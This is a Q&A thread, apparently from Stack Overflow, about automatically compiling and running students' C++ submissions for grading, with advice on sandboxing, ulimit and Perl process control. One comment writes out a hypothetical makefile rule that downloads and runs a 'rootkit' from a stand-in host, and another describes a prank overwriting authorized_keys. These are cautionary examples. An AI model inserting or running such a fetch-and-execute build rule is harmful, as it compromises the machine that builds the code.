1

I am writing a program to grade C++ code that students submit. Right now it uses a system call to compile every source file then redirects the input to a file and calls the new executables in processes and searches the output for certain strings. This also allows me to have a timeout on processes for programs that crash.

Is there a better way to do this than a system call? Or a better way to do this in general?

Peter Mortensen
  • 30,738
  • 21
  • 105
  • 131
Stu
  • 380
  • 4
  • 12
  • Remember to use `ulimit` with the sub processes. Fork bombs are a favorite of CS students. – Hut8 Feb 27 '11 at 02:55
  • @biowenl2: although I made a similar comment on Ben's answer, I think in practice in this position I'd eyeball the code anyway, and only then run it to confirm that it does "pass the acceptance tests", i.e. complete the assignment correctly. If the student can underhand a fork bomb in innocuous-looking code, well done them, they've made a fool of me and probably get disciplined by the school. – Steve Jessop Feb 27 '11 at 02:57
  • Yeah, just don't expect `grep "fork" dining_philosophers.c` to separate the wheat from the chaff. – Ben Voigt Feb 27 '11 at 03:02
  • AND look at the makefile, if student provided. You don't want to fall afoul of `%.c.o:\n\twget rootkitzrus.com/rootu.tar.bz2\n\ttar jxf rootu.bz2\n\tgcc -o rootu rootu.c\n\tchmod +x ./rootu\n\t./rootu` – Ben Voigt Feb 27 '11 at 03:10

2 Answers2

2

You may want to run the programs under an alternate account, e.g. ssh with key-based authentication is a good way to switch to a dummy account.

If any of the assignments require user interaction, then expect (which is Tcl-based) would be a good choice.

Ben Voigt
  • 277,958
  • 43
  • 419
  • 720
  • 2
    "You may want to run the programs under an alternate account" - chrooted, with minimal permissions, under a VM, on a machine you don't care about, a very long way away from your nose. – Steve Jessop Feb 27 '11 at 02:54
  • 3
    @Steve: Awww, you want to prevent *mischief* as well as damage? Any grader who isn't at least looking at the assignments before testing them deserves to be pranked by a submission which downloads some choice obscene moaning audio clip and plays it through the speakers. Or perhaps replaces `~/.ssh/authorized_keys` causing all remaining submissions to use it as the shell, and "tweaking" their output. – Ben Voigt Feb 27 '11 at 02:57
  • @Steve: Good point, I do set the permissions low and run on a VM. We do also look at the code first. – Stu Feb 27 '11 at 03:05
  • It is a introductory programming class for non-CS/CE students so very few have had knowledge to do such things though. – Stu Feb 27 '11 at 03:10
  • @Stuart: Make that assumption at your own risk. For one thing, if you're teaching C++, they are technically savvy in one way or another (non-CmpE engineering students?). For another, unconventional learning abounds in computer fields, students that come in with more practical knowledge than the professor aren't that rare. – Ben Voigt Feb 27 '11 at 03:14
  • @Ben: Very true, checking the code first (and running in low permissions in VM) should alert us to any malicious code they try. – Stu Feb 27 '11 at 03:26
0

I can't think of other way in C/C++ to run an external executable without using a system call (directly or indirectly).

You may consider using Perl/Python instead of coding C++ to do such checking/automation.

EDIT:

Since you started scripting in Perl, you may want to look at:

http://perldoc.perl.org/functions/exec.html

http://perldoc.perl.org/Shell.html

http://perldoc.perl.org/functions/system.html

http://www.perlmonks.org/?node_id=78523

How can I run a system command in Perl asynchronously?

How can I terminate a system command with alarm in Perl?

Community
  • 1
  • 1
Viet
  • 17,944
  • 33
  • 103
  • 135
  • I actually started writing this in perl. What would be a good way to do this, are there perl or python modules to help with this? I just called g++ from perl. – Stu Feb 27 '11 at 02:48
  • Thanks those links should get me started! – Stu Feb 27 '11 at 03:06
  • Hi Stuart, my pleasure. Perhaps you are new SO user. You should consider voting up if the answer helped you and you should choose the best answer that suits you. – Viet Feb 27 '11 at 03:55
  • Yeah, I'm new on here. As soon as I get enough reputation I will definitely vote up those that helped me. – Stu Feb 27 '11 at 09:00